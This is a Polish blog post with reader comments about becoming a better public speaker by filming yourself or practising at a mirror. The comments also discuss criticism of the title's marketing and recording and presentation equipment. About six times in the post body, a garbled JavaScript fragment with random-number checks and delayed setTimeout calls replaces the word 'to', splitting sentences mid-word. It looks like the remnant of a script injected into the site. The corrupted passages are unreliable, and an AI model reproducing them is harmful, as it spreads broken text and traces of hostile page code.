Dziś mam dla Ciebie pomysł w jaki sposób natychmiast poprawić swoje umiejętności występowania przed publicznością. Nie wierzysz? Obejrzyj film i… działaj!
Jeśli nie podoba Ci się moja czapka albo nie masz 3 minut na obejrzenie filmu możesz przeczytać transkrypt tego nagrania:
Aby szybko wprowadzić nową jakość do Twoich prezentacji potrzebne Ci będą dwie rzeczy:
1. telefon komórkowy z możliwością nagrywania filmów (nie musi być super jakość HD)
2. odwaga (ponieważ musisz mieć odwagę aby obejrzeć swój występ zarejestrowany na komórce – najczęściej nie lubimy oglądać filmów z naszym udziałem, prawda? A tu na dodatek mamy główną rolę!)
Poproś kogoś z rodziny lub znajomego aby sfilmował Twoją krótką prezentację. Możesz powiedzieć coś o sobie, o swojej pracy lub o tym co lubisz robić, może przemawiać??? 🙂
Następnie obejrzyj film. Co zyskasz oglądając nagranie? Masz możliwość zaobserwowania tego jak się zachowujesz, jak gestykulujesz, jak mówisz. Może okazać się, że masz jakiś nerwowy tik, z którego wcześniej nie zdawałaś/łeś sobie sprawy? Albo nadmiernie częsdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to używasz jakieś słowo albo mówisz eee, yyy?
Zapytaj, także Twojego “kamerzystę” co myśli o Twoim wystąpieniu, co się podobało a co drażniło. Na pewno dowiesz się czegoś ciekawego. Co dalej?
Po obejrzeniu filmu, wynotuj swoje błędy i wygłoś ponownie prezentację starając się wprowadzić korekty. Nie musisz od razu poprawić wszystkiego. Skoncentruj się na jednej, dwóch rzeczach.
Zapewniam Cię, że drugie wystąpienie będzie zdecydowanie lepsze od pierwszego. Zatem nasz cel został osiągnięty – w krótkim czasie staniesz się lepszym mówcą. Wystarczy niecała godzina! Oczywiście pracuj dalej nad udoskonaleniem swojego warsztatu mówcy ale pierwszy krok już wykonany!
Innym pomysłem na pracę nad swoim sposobem mówienia dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to występowanie przed lustrem (jeśli nie masz kamery lub telefonu z opcją nagrywania)
W tym przypadku mam jedna uwagę – Mówiąc przed lustrem możesz byc lekko rozproszony. Od razu możesz zaobserwować co jest nie tak. Nie próbuj jednak od razu wprowadzać korekt. Skończ prezentację. zanotuj błędy i dopiero za drugim podejściem popraw dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to co Ci się nie podobało.
Na zakończenie muszę się wytłumaczyć skąd w tytule 58 minut.
Po pierwsze, jak widzisz na poprawę swojego warsztatu mówcy, wystarczy Ci godzina.
Po drugie, tytuł “Za 58 minut będziesz lepszym mówcą” wydawał mi się lepszy marketingowo od “Za godzinę będziesz lepszym mówcą” 🙂
Tradycyjnie mam do Ciebie prośbę: jeśli film Ci się spodobał, kliknij w “Lubię dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to”. Możesz zostawić również swój komentarz pod tym artykułem. Odpowiadam na wszystkie wpisy moich czytelników. Po prostu dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to uwielbiam!
pozdrawiam
.
![]() |
Wpis Ci się podobał?
Świeżutkie artykuły i filmy na temat prezentacji i rozwoju osobistego wprost na Twoją skrzynkę!
Witam wszystkich.
Uważam, że kamera to podstawa, jeśli człowiek chce opanować do „perfekcji” sztukę publicznego przemawiania. Jakoś dopiero wtedy dokładnie widzimy jak nas inni widzą i chyba łatwiej jest coś skorygować.
Dodam też, że pierwsze kilkanaście nagrań będzie trochę dla nas dziwnych. Coś inny głos mamy na filmie niż w rzeczywistości;) Po kilkunastu nagraniach człowiek się przyzwyczaja.
Ja dodam od siebie mój sposób. Chyba nieco zaskakujący dla osób, które patrzą na mnie z boku. Otóż mówię do siebie. W głowie widzę osobę, do której przemawiam i po prostu na głos przemawiam. Ćwiczę dykcję, modulację głosem, naturalność, ekspresje, gestykulację. Mnie to bardzo pomaga i dość często to robię. To chyba takie moje małe zboczenie;)
Pozdrawiam radośnie,
Dawid
Dawidzie,
dzięki za ciekawy pomysł na trening (muszę napisać coś o wizualizacji bo Twoja metoda zahacza o tę tematykę). Tak jak piszesz, po kilku – kilkunastu nagraniach przyzwyczajamy się do naszego głosu/zachowania. Nie chodzi mi o akceptowanie siebie bez krytyki. Oczywiście powinniśmy zmieniać to co nam się nie podoba, pracować nad głosem i naszą mową ciała.
z filmowym pozdrowieniem 🙂
witam, podzielę się swoim doświadczeniem. Swoje pierwsze wystąpienie publiczne z prezentacją miałam kilka lat temu w miejscu pracy, temat mogłam sobie wybrać. Przygotowałam slajdy, powiedziałam dokładnie to, co chciałam powiedzieć.Na sali była maksymalna koncentracja na temacie. Do dziś pamiętam słowa koleżanki “ustawiłaś poprzeczkę!”.Wtedy pojęcia nie miałam o wystąpieniach publicznych, zasadach tworzenia prezentacji itp. Potem zaczęłam się uczyć pedagogiki, metodyki,tworzenia programów edukacyjnych, robienia konspektów – na studiach podyplomowych. Jak teraz czytam Robercie Twoje porady to uważam, że moje pierwsze wystąpienie było idealne, mimo braku profesjonalnego przygotowania. Potem już nie miałam takiej satysfakcji, bo albo konspekt się nie sprawdził, albo nie było “wyczerpująco”, albo metod za mało na zajęciach.
Na marginesie, zgubiłam tę pierwszą prezentację.
Anito,
czasami nawet nie zdajemy sobie sprawy z tego ile umiemy! W Twoim przypadku okazało się, że jesteś dobra w prezentacjach. Co do późniejszych prób to pamiętaj, że większa liczba prezentacji oznacza większe ryzyko, że coś pójdzie nie tak. To zwykły rachunek prawdopodobieństwa. Z drugiej strony jeśli RAZ coś Ci się udało to znaczy, że potrafisz to robić, musisz tylko zastanowić się co zadziałało i powielać idealny wzorzec. Poszukaj tej pierwszej prezentacji 🙂
pozdrawiam!
Robercie, nie zrozumieliśmy się. Chciałam powiedziec, że udało mi się nie raz. Jestem wykładowcą, jeżeli wykładam w szkoleniu projektowym to jestem trenerem (lubię to słowo bardziej niż coach). Oceny od uczestników mam dobre, a ostatnio nawet bardzo dobre. Natomiast uważam, że czasami nadmiar edukacji może spowodowac swego rodzaju “szum informacyjny” i istnieje chec poprawiania czegoś, co było ok. Mój były szef mówił: “lepsze jest wrogiem dobrego”.
Teraz umiem powiedziec dlaczego pierwszy raz poszło bardzo dobrze,doskonale znałam odbiorców, wiedziałam do czego prezentowana wiedza może im się przydac, slajdy przygotowałam konkretnie takie, jak chciałam ( zagadnienia hasłowo i zdjęcia),wiedziałam ile mam czasu, doskonale poruszałam się w temacie.
Prezentacja jest stracona, płyta zginęła po remoncie, mam nowy komputer. Szkoda mi jej ze względów sentymentalnych.
Kiedyś napiszę o “niewypałach” w mojej pracy. Pozdrawiam wszystkich.
Anito,
Lepsze jest wrogiem dobrego – zgadzam się w 100 proc. Czasami chcemy poprawiać coś, co jest w porządku i efekt tych zmian nie zawsze jest zadowalający. Tez to widzę u siebie. Należę do ludzi, którzy bywają z siebie niezadowoleni – uważają, że można coś poprawić (i pewnie słusznie) ale z tymi zmianami, jak napisałaś, trzeba uważać.
Co do złego zrozumienia Twoich intencji w poprzednim wpisie – być może nie wczytałem się z odpowiednią uwagą w Twoje słowa 🙂
pozdrawiam!
Witam!
Bardzo fajny dzisiejszy pomysł na poprawę wystąpień publicznych.
Wystąpienia publiczne to wyjątkowo ciekawy temat. Występujemy przecież każdego dnia w różnych sytuacjach życiowych i nawet o tym nie pamiętamy :).
Pozdrawiam i życzę wielu nowych pomysłów każdego dnia (nie tylko dotyczących prezentacji).
P.s Dziękuję Robercie za polecenie książki Scotta Berkuna (kupiłem ją ostatnio).
Januszu,
“Wyznania mówcy” na pewno Cie nie zawiodą! Tak jak pisałem, poradnik bardzo osobisty, trzeba “powyciągać” z treści perełki ale na pewno się opłaci.
Co do mojego ćwiczenia z filmu – wiem, że czasami ciężko się przełamać aby obejrzeć swoją osobę na filmie ale naprawdę się opłaca. Po jednym “seansie” są już efekty.
Mam wrażenie, że ta prezentacja została przygotowana “na kolanie” – w pośpiechu, bo coś trzeba było zrobić.
Po co proponować ludziom mówienie do lustra, by zaraz ich do tego zniechęcać?
Nie podobają mi się chwyty marketingowe w stylu “szybko,łatwo i przyjemnie” … (tu wstaw cokolwiek – np. nauczysz się przemawiać). Takie chwyty wzbudzają fałszywą nadzieję, zwodzą ludzi. – Przeważnie proponowane sposoby są nieprawdziwe i nie sprawdzają się. Za to grają na ludzkich uczuciach. Pan może udawać, że uczy ludzi przemawiać, a ludzie mogą udawać, że się uczą i … wszyscy są zadowoleni i dobrze się bawią.
Nagrywać można również w większości współczesnych aparatów fotograficznych. Można choćby pożyczyć taki aparat od znajomych.
Wiele laptopów ma wbudowaną kamerkę. Można kupić zewnętrzną kamerkę do komputera – choćby za 50zł.
To, że się widzi błędy swojego wystąpienia wcale nie znaczy, że zaraz będzie się je umiało skorygować. Efekt może być wręcz przeciwny. Po obejrzeniu – jak kiepsko przemawiam – może być dwa razy bardziej zestresowany, przejęty. Szybko można poprawić tylko proste, powierzchowne błędy.
Krzysztofie,
co do przygotowania prezentacji, jak określiłeś “na kolanie” – fakt, nie przygotowywałem tekstu prezentacji wcześniej “na papierze” – mówiłem z głowy. Pomysł z lustrem, kamerą się sprawdza – oglądałem moje “treningowe” nagrania wiele razy i często samodzielnie korygowałem błędy. Nie bałbym się “pójścia w złą stronę”, tak jak się tego obawiasz, bo każdy rozsądny człowiek wie co go drażni w jego zachowaniu czy sposobie mówienia. Poza tym można zapytać o zdanie szczerych znajomych 🙂
Masz rację – nie zawsze sami umiemy poprawić swoje błędy. Ale zawsze możesz do mnie napisać maila a potem skontaktować się na skype i jak tylko będę mógł Ci coś doradzić, to zrobię to po prostu.
Techniczna strona nagrywania – wiadomo, można nagrywać na wielu urządzeniach, wspominałem o telefonach. Może być aparat fotograficzny, kamerki komputerowe itd.
Przy lustrze można trenować. Ja zwróciłem jedynie uwagę, że jest to trudniejsze i aby nie korygować zachowania od razu bo to może rozpraszać.
Jeśli chodzi o mój sposób nauczania czy też jak określasz “udawania nauczania” – nigdy nie miałem wrażenia, że jestem w towarzystwie wzajemnej adoracji z moimi czytelnikami 🙂
Co do chwytów marketingowych, po części masz rację – chwytliwy tytuł maila, wzbudzający emocje ma sprawić aby czytelnik otworzył korespondencję. Nasze skrzynki mailowe zalewane są mailami codziennie. My, marketerzy internetowi staramy się aby internauci otworzyli właśnie NASZĄ korespondencję.
Natomiast nie zgadzam się, że w moim mailu a potem nagranym materiale były fałszywe obietnice.
pozdrawiam Cię i bardzo dziękuję za komentarz. To chyba pierwszy wpis na moim blogu?
Witam Robercie,
Praca domowa odrobiona :). Własny filmik (3 minuty) nagrałem (własciwie nagrał mi syn) i powiem, że poczułem talent aktorski :). Pomysł z nagrywaniem jest bardzo dobry. Jednak zmiana przyzwyczajeń i korekta błędów wymaga wielu ćwiczeń i sporo czasu. Na pewno nagram kolejne filmy na własny użytek i będę szukał nowych inspiracji do lepszej komunikacji z innymi ludzmi. Mam Robercie na koniec trzy pytania techniczne w zakresie nagrywania filmów:
1) Jaki sprzęt używasz do kręcenia swoich filmów,
2) Skąd czerpiesz wiedzę na temat doskonalenia jakości swoich filmów,
3) Czy istnieją np bezprzewodowe mikrofony, które pozwalają na nagrywanie dzwięku w dobrej jakości, jeśli kamera jest oddalona np 15 m.
Pozdrawiam 🙂
Janusz
Januszu,
gratuluję pierwszych nagrań! Zobaczysz będą efekty pracy, choć jak zauważyłeś trzeba czasu aby ponaprawiać swoje stare przyzwyczajenia.
odpowiadam na Twoje pytania:
1. Flip Kamera Kodak Zi8 (cena około 500 zł)
2. Oglądam nagrania innych blogerów: polskich i zagranicznych. Czasami coś mnie zainspiruje. Na You Tube jest sporo porad co do nagrywania i produkcji filmików. Polecam Ci też blog australijczyka Gideona Shalwicka
3. Są takie mikrofony ale są stosunkowo drogie. Wydatek powyżej 500 zł. Sprawdź wpisując w wyszukiwarkę “mikrofon bezprzewodowy”. Dobrym trikiem na uzyskanie dobrej jakości dźwięku z dużych odległości jest zastosowanie dyktafonu z mikrofonem przewodowym (możesz włożyć dyktafon do kieszeni i nagrywać dźwięk z dowolnej odległości od kamery a następnie, już w programie do obróbki filmów – np. Camtasia Studio albo Sony Vegas “podmienić” ścieżkę z dźwiękiem z kamery na dźwięk z dyktafonu) może to brzmi nieco skomplikowanie ale uwierz mi jest proste 🙂 Oba te programy (Camtasia i SONY) nie są niestety tanie… W zależności od wersji to wydatek około 1000 zł (w wersji pro). Może uda Ci się znaleźć coś podobnego na dobreprogramy.pl albo instalki.pl i tym podobnych stronach.
Mam nadzieję, że pomogłem 🙂
pozdrawiam serdecznie
Witam,
Jestem już na 150 stronie książki Scotta Berkuna i już mam kilkanaście nowych pomysłów w zakresie swoich prezentacji. Polecam serdecznie innym zakup tej książki. 100 % dobrze wydane pieniądze :).
Dziś mam prośbę Robercie o kilka zdań na temat pilotów zmieniających slaidy w czasie prezentacji. Jakie piloty są najlepsze, czy współpracują z projektorem, programem do prezentacji slaidów, jak je skonfigurować z resztą sprzętu, gdzie je najlepiej kupić itd…
Pozdrawiam,
Janusz
Januszu,
podsunąłeś mi temat jednego z kolejnych artykułów a może filmików. Sam korzystam z pilota (inaczej prezentera) Logitech. Ten model Scott Berkun w swojej książce Wyznania mówcy, nazywa cadillakiem, wśród prezenterów. Teraz tylko krótko: pilotem tym zmieniamy slajdy stojąc… w drugim końcu sali. nie trzeba go w żaden sposób konfigurować z laptopem czy rzutnikiem. Wkładamy jedynie do portu USB laptopa, komputera osobną końcówkę pilota, włączamy urządzenie i.. to wszystko! Poza funkcja zmiany slajdów mamy wygaszenie ekranu (na czarny kolor), laserowy wskaźnik, możliwość regulacji głośności nagrań, jeśli mamy takie w prezentacji oraz możliwość ustawienia alarmu czasowego. po określonym czasie prezenter zaczyna wibrować w naszej ręce. Pomoże nam to skończyć wystąpienie o czasie 🙂
Wszystkiego najlepszego w dniu urodzin! 10 maj to również urodziny Bono i o nim również pamiętam- HAPPY BIRTHDAY! 🙂
Blog jest fantastyczny a rady bardzo pomocne. Jutro przede mną matura ustna z języka polskiego, ale dzięki Pańskim radom poczułam się pewniej. Pozdrawiam szaleńczo,
Hania 🙂